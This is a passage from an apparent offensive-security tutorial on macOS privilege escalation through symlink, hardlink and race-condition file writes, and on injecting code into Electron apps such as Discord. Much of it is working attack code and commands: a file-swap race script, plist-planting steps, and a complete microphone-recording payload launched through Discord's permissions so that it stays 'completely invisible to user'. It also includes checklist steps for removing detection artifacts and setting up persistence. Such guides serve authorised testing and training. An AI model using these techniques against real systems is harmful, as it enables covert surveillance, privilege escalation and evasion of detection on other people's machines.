</span>        <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">):</span>
            <span class="n">stat_info</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">)</span>

            <span class="k">if</span> <span class="n">stat_info</span><span class="p">.</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># Root owned
</span>                <span class="c1"># Delete root file (we own parent dir)
</span>                <span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">)</span>

                <span class="c1"># Replace with our file
</span>                <span class="n">shutil</span><span class="p">.</span><span class="n">copy2</span><span class="p">(</span><span class="n">MALICIOUS_FILE</span><span class="p">,</span> <span class="n">TARGET_FILE</span><span class="p">)</span>

                <span class="k">print</span><span class="p">(</span><span class="s">"[+] Race won! Malicious file planted."</span><span class="p">)</span>
                <span class="k">break</span>

    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">continue</span>

    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.01</span><span class="p">)</span>  <span class="c1"># Small delay
</span></code></pre></div></div>

<h4 id="method-4-content-injection-attack">Method 4: Content Injection Attack</h4>

<p><strong>Scenario:</strong> We control content written to protected location</p>

<p><strong>Technique A: Log Injection → PLIST</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Target: Log file becomes LaunchDaemon PLIST</span>

<span class="c"># 1. Create symlink</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/app.log

<span class="c"># 2. Generate log entries that form valid XML</span>
<span class="c"># Application logs: "User logged in: XML_CONTENT_HERE"</span>

<span class="c"># 3. Result: Valid PLIST at protected location</span>
</code></pre></div></div>

<p><strong>Technique B: Manpage Injection</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Target: whatis database becomes LaunchDaemon PLIST</span>

<span class="c"># 1. Create specially-named manpage</span>
<span class="nb">mv </span>original.1 <span class="s1">'&lt;!--original.1'</span>

<span class="c"># 2. Edit NAME section with XML</span>
.SH NAME
original - <span class="nt">--</span><span class="o">&gt;</span>&lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">"1.0"</span>?&gt;
&lt;<span class="o">!</span>DOCTYPE plist...&gt;&lt;plist&gt;&lt;dict&gt;...

<span class="c"># 3. Create symlink</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /usr/local/share/man/whatis.tmp

<span class="c"># 4. Trigger makewhatis</span>
<span class="nb">sudo </span>periodic weekly

<span class="c"># Result: Valid PLIST created</span>
</code></pre></div></div>

<p><strong>Technique C: DMG Mount Hijacking</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Installer expects to mount DMG at specific location</span>

<span class="c"># 1. Create malicious DMG with same volume name</span>
hdiutil create evil.dmg <span class="nt">-volname</span> <span class="s2">"InstallerData"</span> <span class="nt">-fs</span> APFS

<span class="c"># 2. Mount it first</span>
hdiutil attach evil.dmg

<span class="c"># 3. Installer looks for /Volumes/InstallerData/config</span>
<span class="c"># Finds our malicious config instead</span>

<span class="c"># 4. Installer copies our file to protected location</span>
</code></pre></div></div>

<h4 id="method-5-directory-ownership-attack">Method 5: Directory Ownership Attack</h4>

<p><strong>Scenario:</strong> Group-writable directory with admin privileges</p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Identify group-writable directory with root files</span>
<span class="nb">ls</span> <span class="nt">-l</span> /private/var/log/ | <span class="nb">grep </span>Diagnostic
drwxrwx--- 7 root admin 224 DiagnosticMessages

<span class="c"># 2. Replace file with hardlink to target</span>
<span class="nb">cd</span> /private/var/log/DiagnosticMessages
<span class="nb">rm </span>today.asl
<span class="nb">ln</span> /Library/target.conf today.asl

<span class="c"># 3. When process writes to today.asl, writes to target.conf</span>
</code></pre></div></div>

<h4 id="method-6-atomic-operation-bypass">Method 6: Atomic Operation Bypass</h4>

<p><strong>Scenario:</strong> Process uses safe functions but predictable names</p>

<p><strong>Attack:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Process uses mkstemp() but predictable prefix</span>
<span class="c"># Creates: /tmp/app.XXXXXX where X is random</span>

<span class="c"># 1. Pre-create all possible combinations (if small space)</span>
<span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>000000..999999<span class="o">}</span><span class="p">;</span> <span class="k">do
    </span><span class="nb">ln</span> <span class="nt">-s</span> /etc/target /tmp/app.<span class="nv">$i</span> 2&gt;/dev/null
<span class="k">done</span>

<span class="c"># 2. Process creates temp file</span>
<span class="c"># Likely hits one of our symlinks</span>

<span class="c"># Alternative: Monitor creation and race</span>
inotifywait <span class="nt">-m</span> /tmp/ | <span class="k">while </span><span class="nb">read </span>event<span class="p">;</span> <span class="k">do
    if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$event</span><span class="s2">"</span> <span class="o">=</span>~ <span class="s2">"app</span><span class="se">\.</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
        <span class="c"># Immediately replace</span>
        <span class="nv">file</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$event</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="s1">'{print $3}'</span><span class="si">)</span>
        <span class="nb">rm</span> <span class="s2">"/tmp/</span><span class="nv">$file</span><span class="s2">"</span>
        <span class="nb">ln</span> <span class="nt">-s</span> /etc/target <span class="s2">"/tmp/</span><span class="nv">$file</span><span class="s2">"</span>
    <span class="k">fi
done</span>
</code></pre></div></div>

<h3 id="exploitation-tips">Exploitation Tips</h3>

<p><strong>Pre-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify root process writing to user space</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Determine file path predictability</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check if process follows symlinks (<code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> flag absent)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify directory permissions (user/group writable)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Confirm no sticky bit protection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test if content is controllable</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Validate target location is writable by process</li>
</ul>

<p><strong>During Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Create symlink/hardlink to target</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Trigger vulnerable process</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Monitor file creation (if racing)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify link persistence (not overwritten)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check final destination for payload</li>
</ul>

<p><strong>Post-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify payload executed/loaded</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clean up temporary files</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Remove detection artifacts</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish persistence if needed</li>
</ul>

<h1 id="electron-applications-code-injection">Electron Applications Code Injection</h1>

<h2 id="electron-framework-overview">Electron Framework Overview</h2>

<h3 id="what-is-electron">What is Electron?</h3>

<p><strong>Electron</strong> enables cross-platform desktop applications using JavaScript, HTML, and CSS. Developed by GitHub, it powers popular apps like Discord, Slack, Microsoft Teams, VS Code, and WhatsApp Desktop.</p>

<p><strong>Key Characteristics:</strong></p>
<ul>
  <li>Web technologies (JavaScript/HTML/CSS) running as native apps</li>
  <li>Built on Chromium and Node.js</li>
  <li>Fast development but large attack surface</li>
  <li>Insecure by default if not properly configured</li>
</ul>

<h3 id="security-model-weaknesses">Security Model Weaknesses</h3>

<table>
  <thead>
    <tr>
      <th>Issue</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>JavaScript source code included</td>
      <td>Easy to modify/inject code</td>
    </tr>
    <tr>
      <td>Environment variable support</td>
      <td>Code execution via <code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE</code></td>
    </tr>
    <tr>
      <td>Debug port capabilities</td>
      <td>Remote code execution if enabled</td>
    </tr>
    <tr>
      <td>Signature verification timing</td>
      <td>Only verified at first launch by Gatekeeper</td>
    </tr>
    <tr>
      <td>Non-executable code modifications</td>
      <td>Can modify .asar files after first run</td>
    </tr>
  </tbody>
</table>

<p><strong>Why Injection Works:</strong></p>
<ul>
  <li>Hardened runtime prevents traditional dylib injection</li>
  <li>Code signature only checks executable code</li>
  <li>JavaScript files not considered executable</li>
  <li>Child processes inherit parent’s sandbox + TCC permissions</li>
</ul>

<h2 id="identifying-electron-applications">Identifying Electron Applications</h2>

<h3 id="method-1-check-for-appasar-file">Method 1: Check for app.asar File</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Electron apps contain app.asar in Resources/</span>
<span class="nb">ls</span> <span class="nt">-l</span> /Applications/Discord.app/Contents/Resources/app.asar
<span class="c"># -rw-r--r-- 1 user staff 854129 May 11 07:31 app.asar</span>
</code></pre></div></div>

<p><strong>Note:</strong> Not all Electron apps use .asar archives; some include unpacked source files.</p>

<h3 id="method-2-check-frameworks-directory">Method 2: Check Frameworks Directory</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> /Applications/Discord.app/Contents/Frameworks/
<span class="c"># Should contain:</span>
<span class="c"># - Electron Framework.framework</span>
<span class="c"># - Helper applications (GPU, Plugin, Renderer)</span>
</code></pre></div></div>

<h3 id="method-3-examine-code-signature">Method 3: Examine Code Signature</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> <span class="nt">--entitlements</span> :- /Applications/Discord.app

<span class="c"># Look for:</span>
<span class="c"># - Identifier pattern (e.g., com.hnc.Discord)</span>
<span class="c"># - Electron-specific entitlements</span>
<span class="c"># - Hardened runtime flag</span>
</code></pre></div></div>

<p><strong>Example Discord Signature:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.cs.allow-unsigned-executable-memory<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.device.audio-input<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
  <span class="nt">&lt;key&gt;</span>com.apple.security.device.camera<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<h3 id="popular-electron-apps">Popular Electron Apps</h3>

<table>
  <thead>
    <tr>
      <th>Application</th>
      <th>Use Case</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Discord</td>
      <td>Social/Voice chat</td>
    </tr>
    <tr>
      <td>Slack</td>
      <td>Team communication</td>
    </tr>
    <tr>
      <td>Microsoft Teams</td>
      <td>Business communication</td>
    </tr>
    <tr>
      <td>VS Code</td>
      <td>Code editor</td>
    </tr>
    <tr>
      <td>WhatsApp Desktop</td>
      <td>Messaging</td>
    </tr>
    <tr>
      <td>Figma</td>
      <td>Design tool</td>
    </tr>
    <tr>
      <td>Notion</td>
      <td>Productivity</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="injection-method-1-environment-variables">Injection Method 1: Environment Variables</h2>

<h3 id="electron_run_as_node-variable">ELECTRON_RUN_AS_NODE Variable</h3>

<p>Setting <code class="language-plaintext highlighter-rouge">ELECTRON_RUN_AS_NODE=1</code> starts the app as a Node.js process with REPL access.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">ELECTRON_RUN_AS_NODE</span><span class="o">=</span>1 /Applications/Discord.app/Contents/MacOS/Discord

<span class="c"># Output:</span>
<span class="c"># Welcome to Node.js v12.14.1.</span>
<span class="c"># Type ".help" for more information.</span>
<span class="c"># &gt;</span>
</code></pre></div></div>

<h3 id="basic-repl-commands">Basic REPL Commands</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="mi">1</span><span class="o">+</span><span class="mi">1</span>
<span class="mi">2</span>

<span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">test</span><span class="dl">'</span><span class="p">)</span>
<span class="nx">test</span>
<span class="kc">undefined</span>

<span class="o">&gt;</span> <span class="nx">process</span><span class="p">.</span><span class="nx">version</span>
<span class="dl">'</span><span class="s1">v12.14.1</span><span class="dl">'</span>

<span class="o">&gt;</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">os</span><span class="dl">'</span><span class="p">).</span><span class="nx">platform</span><span class="p">()</span>
<span class="dl">'</span><span class="s1">darwin</span><span class="dl">'</span>
</code></pre></div></div>

<h3 id="spawning-child-processes">Spawning Child Processes</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Import child_process module</span>
<span class="o">&gt;</span> <span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="kc">undefined</span>

<span class="c1">// Execute command</span>
<span class="o">&gt;</span> <span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/usr/bin/whoami</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">ChildProcess</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
</code></pre></div></div>

<h3 id="audio-capture-payload">Audio Capture Payload</h3>

<p><strong>audiocapture.m:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;syslog.h&gt;</span><span class="cp">
#import &lt;AVFoundation/AVFoundation.h&gt;
</span>
<span class="err">@</span><span class="n">interface</span> <span class="n">AudioSnap</span> <span class="o">:</span> <span class="n">NSObject</span> <span class="o">&lt;</span><span class="n">AVCaptureFileOutputRecordingDelegate</span><span class="o">&gt;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureAudioFileOutput</span> <span class="o">*</span><span class="n">audioFileOutput</span><span class="p">;</span>
<span class="err">@</span><span class="n">property</span> <span class="p">(</span><span class="n">strong</span><span class="p">,</span> <span class="n">nonatomic</span><span class="p">)</span> <span class="n">AVCaptureSession</span> <span class="o">*</span><span class="n">session</span><span class="p">;</span>
<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span><span class="p">;</span>
<span class="err">@</span><span class="n">end</span>

<span class="err">@</span><span class="n">implementation</span> <span class="n">AudioSnap</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">record</span> <span class="p">{</span>
    <span class="c1">// Grab default device</span>
    <span class="n">AVCaptureDevice</span><span class="o">*</span> <span class="n">device</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDevice</span> <span class="n">defaultDeviceWithMediaType</span><span class="o">:</span><span class="n">AVMediaTypeAudio</span><span class="p">];</span>

    <span class="c1">// Init session and output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureSession</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Init audio input</span>
    <span class="n">AVCaptureDeviceInput</span> <span class="o">*</span><span class="n">input</span> <span class="o">=</span> <span class="p">[</span><span class="n">AVCaptureDeviceInput</span> <span class="n">deviceInputWithDevice</span><span class="o">:</span><span class="n">device</span> <span class="n">error</span><span class="o">:</span><span class="n">nil</span><span class="p">];</span>

    <span class="c1">// Init audio output</span>
    <span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AVCaptureAudioFileOutput</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>

    <span class="c1">// Add input and output to session</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addInput</span><span class="o">:</span><span class="n">input</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">addOutput</span><span class="o">:</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span><span class="p">];</span>

    <span class="c1">// Start capture</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">startRunning</span><span class="p">];</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="n">startRecordingToOutputFileURL</span><span class="o">:</span><span class="p">[</span><span class="n">NSURL</span> <span class="n">fileURLWithPath</span><span class="o">:</span><span class="err">@</span><span class="s">"/tmp/recordmic.m4a"</span><span class="p">]</span>
                                        <span class="nl">outputFileType:</span><span class="n">AVFileTypeAppleM4A</span>
                                     <span class="nl">recordingDelegate:</span><span class="n">self</span><span class="p">];</span>

    <span class="c1">// Stop after 15 seconds</span>
    <span class="p">[</span><span class="n">NSTimer</span> <span class="n">scheduledTimerWithTimeInterval</span><span class="o">:</span><span class="mi">15</span> <span class="n">target</span><span class="o">:</span><span class="n">self</span> <span class="n">selector</span><span class="o">:</span><span class="err">@</span><span class="n">selector</span><span class="p">(</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">)</span> <span class="n">userInfo</span><span class="o">:</span><span class="n">nil</span> <span class="n">repeats</span><span class="o">:</span><span class="n">NO</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">stopRecording</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">sigNum</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">audioFileOutput</span> <span class="n">stopRecording</span><span class="p">];</span>
<span class="p">}</span>

<span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">captureOutput</span><span class="o">:</span><span class="p">(</span><span class="n">AVCaptureFileOutput</span> <span class="o">*</span><span class="p">)</span><span class="n">captureOutput</span>
<span class="n">didFinishRecordingToOutputFileAtURL</span><span class="o">:</span><span class="p">(</span><span class="n">NSURL</span> <span class="o">*</span><span class="p">)</span><span class="n">outputFileURL</span>
<span class="n">fromConnections</span><span class="o">:</span><span class="p">(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="n">connections</span>
<span class="n">error</span><span class="o">:</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">)</span><span class="n">error</span> <span class="p">{</span>
    <span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">session</span> <span class="n">stopRunning</span><span class="p">];</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="err">@</span><span class="n">end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">AudioSnap</span><span class="o">*</span> <span class="n">as</span> <span class="o">=</span> <span class="p">[[</span><span class="n">AudioSnap</span> <span class="n">alloc</span><span class="p">]</span> <span class="n">init</span><span class="p">];</span>
    <span class="p">[</span><span class="n">as</span> <span class="n">record</span><span class="p">];</span>
    <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="n">currentRunLoop</span><span class="p">]</span> <span class="n">run</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation audiocapture.m <span class="nt">-o</span> audiocapture
</code></pre></div></div>

<h3 id="launchd-plist-for-proper-sandbox">LaunchD PLIST for Proper Sandbox</h3>

<p><strong>launchdiscord.plist:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;dict&gt;</span>
        <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>true<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.discord.tcc.bypass<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Execute:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Load PLIST</span>
launchctl load launchdiscord.plist

<span class="c"># Verify recording created</span>
<span class="nb">ls</span> <span class="nt">-l</span> /tmp/recordmic.m4a

<span class="c"># Unload for re-execution</span>
launchctl unload launchdiscord.plist
</code></pre></div></div>

<p><strong>Why LaunchD?</strong></p>
<ul>
  <li>Avoids inheriting Terminal’s sandbox profile</li>
  <li>Uses Discord’s actual TCC permissions</li>
  <li>No user prompt if Discord already has camera/mic access</li>
  <li>Completely invisible to user</li>
</ul>

<hr />

<h2 id="injection-method-2-debug-port">Injection Method 2: Debug Port</h2>

<h3 id="starting-debug-mode">Starting Debug Mode</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Start with default port (9229)</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span>

<span class="c"># Output:</span>
<span class="c"># Debugger listening on ws://127.0.0.1:9229/e9e50e1d-c33c-4334-8d72-c482d4e6d244</span>

<span class="c"># Start with custom port</span>
/Applications/Discord.app/Contents/MacOS/Discord <span class="nt">--inspect</span><span class="o">=</span>9230
</code></pre></div></div>

<h3 id="chrome-devtools-attachment">Chrome DevTools Attachment</h3>

<ol>
  <li>Open Chrome and navigate to <code class="language-plaintext highlighter-rouge">chrome://inspect</code></li>
  <li>Click “inspect” next to the target application</li>
  <li>Opens DevTools with Console access</li>
</ol>

<p><strong>Console Commands:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Same as Node.js REPL</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">/Users/user/audiocapture</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="launchd-plist-for-debug-mode">LaunchD PLIST for Debug Mode</h3>

<p><strong>launchdiscordinspect.plist:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.discord.tcc.bypass.inspect<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>--inspect<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Execute:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl load launchdiscordinspect.plist
<span class="c"># Navigate to chrome://inspect</span>
<span class="c"># Click "inspect"</span>
<span class="c"># Run payload in console</span>
</code></pre></div></div>

<h3 id="websocket-direct-connection">WebSocket Direct Connection</h3>

<p><strong>Advanced:</strong> Write custom tool to connect directly to debug WebSocket</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Pseudo-code for direct connection</span>
<span class="kd">const</span> <span class="nx">WebSocket</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="dl">'</span><span class="s1">ws://127.0.0.1:9229/[uuid]</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">ws</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="nx">open</span><span class="p">()</span> <span class="p">{</span>
  <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
    <span class="na">id</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Runtime.evaluate</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">params</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">expression</span><span class="p">:</span> <span class="dl">'</span><span class="s1">const { spawn } = require("child_process"); spawn("/Users/user/audiocapture");</span><span class="dl">'</span>
    <span class="p">}</span>
  <span class="p">}));</span>
<span class="p">});</span>
</code></pre></div></div>

<hr />

<h2 id="injection-method-3-source-code-modification">Injection Method 3: Source Code Modification</h2>

<h3 id="why-this-works">Why This Works</h3>

<p><strong>Gatekeeper Behavior:</strong></p>
<ul>
  <li>Full signature check only at <strong>first execution</strong></li>
  <li>Subsequent runs only verify <strong>executable code</strong> via AMFI</li>
  <li>JavaScript files are <strong>not executable code</strong></li>
  <li>.asar archives are <strong>not executable code</strong></li>
</ul>

<p><strong>Attack Window:</strong> After first legitimate launch, can modify non-executable files.</p>

<h3 id="extracting-appasar">Extracting app.asar</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Install asar tool</span>
npm <span class="nb">install </span>asar

<span class="c"># Create extraction directory</span>
<span class="nb">mkdir </span>unpack

<span class="c"># Extract archive</span>
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar unpack

